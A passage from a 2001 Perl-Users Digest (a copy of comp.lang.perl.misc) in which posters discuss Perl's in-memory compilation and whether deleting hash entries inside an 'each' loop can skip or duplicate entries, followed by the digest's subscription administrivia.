Subject: Re: total newbie
Message-Id: <tr5fet4tqlsso815a9ua24utcah57tc9sc@4ax.com>
On Wed, 25 Apr 2001 16:45:39 GMT, gil@nospam-keskydee.com (Gil G.) wrote:
>Hum... If you mean that an interpreter compiles on the fly, sure...
>As to perly.y, enlight me please..
Howdy Gil,
Everytime your script is executed, Perl verifies its okay and then compiles
an executable in memory. Why they seem to be unwilling to write that to hard
drive as an .exe is beyond me. Mostly I think they want your source code to
be available to borrow whenever anyone wants to.
Chris
------------------------------
Date: 23 Apr 2001 16:19:53 -0800
From: yf110@victoria.tc.ca (Malcolm Dew-Jones)
Subject: Re: US$50 prize for hash failure from 'delete' inside an 'each' loop
Message-Id: <3ae4b899@news.victoria.tc.ca>
: In comp.lang.perl.misc Mark-Jason Dominus <mjd@plover.com> wrote:
: > The 'perlfunc' man page says:
: > each ...
: >
: > If you ... delete elements of a hash while you're
: > iterating over it, you may get entries skipped or
: > duplicated...
: > I will give a $50 prize to the first person who can come up with an
: > example that demonstrates this.
Perhaps the pod is giving you a clear warning that the code is not
consciously written to accomodate deleting elements while iterating over
them using each.
It could also be that this works in all existing versions by nothing more
than happy accident.
If that were the case then someone might be able to provide an example
next year, but not today.
--
Want to access the command line of your CGI account? Need to debug your
installed CGI scripts? Transfer and edit files right from your browser?
What you need is "ispy.cgi" - visit http://nisoftware.com/ispy.cgi
------------------------------
Date: 21 Apr 2001 09:15:36 +0100
From: Edward Avis <epa98@doc.ic.ac.uk>
Subject: Re: US$50 prize for hash failure from 'delete' inside an 'each' loop
Message-Id: <xn9bspqekif.fsf@owl.doc.ic.ac.uk>
Mark-Jason Dominus <mjd@plover.com> writes:
>The 'perlfunc' man page says:
>
> each ...
>
> If you ... delete elements of a hash while you're
> iterating over it, you may get entries skipped or
> duplicated...
>
>I will give a $50 prize to the first person who can come up with an
>example that demonstrates this.
The point isn't that it will necessarily go wrong in current versions
of Perl. The manual page is warning you not to rely on the current
behaviour, it may change in the future.
It might be a useful change to Perl's semantics to say that each() is
guaranteed to work sensibly even when the hash does change - but it's
up to the implementers to decide whether making such a promise is
worth the extra coding effort now and in future releases.
--
Ed Avis
epa98@doc.ic.ac.uk
------------------------------
Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>
Administrivia:
The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc. For subscription or unsubscription requests, send
the single line:
subscribe perl-users
or:
unsubscribe perl-users
to almanac@ruby.oce.orst.edu.
To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.
To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.
For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.
------------------------------
End of Perl-Users Digest V10 Issue 770
**************************************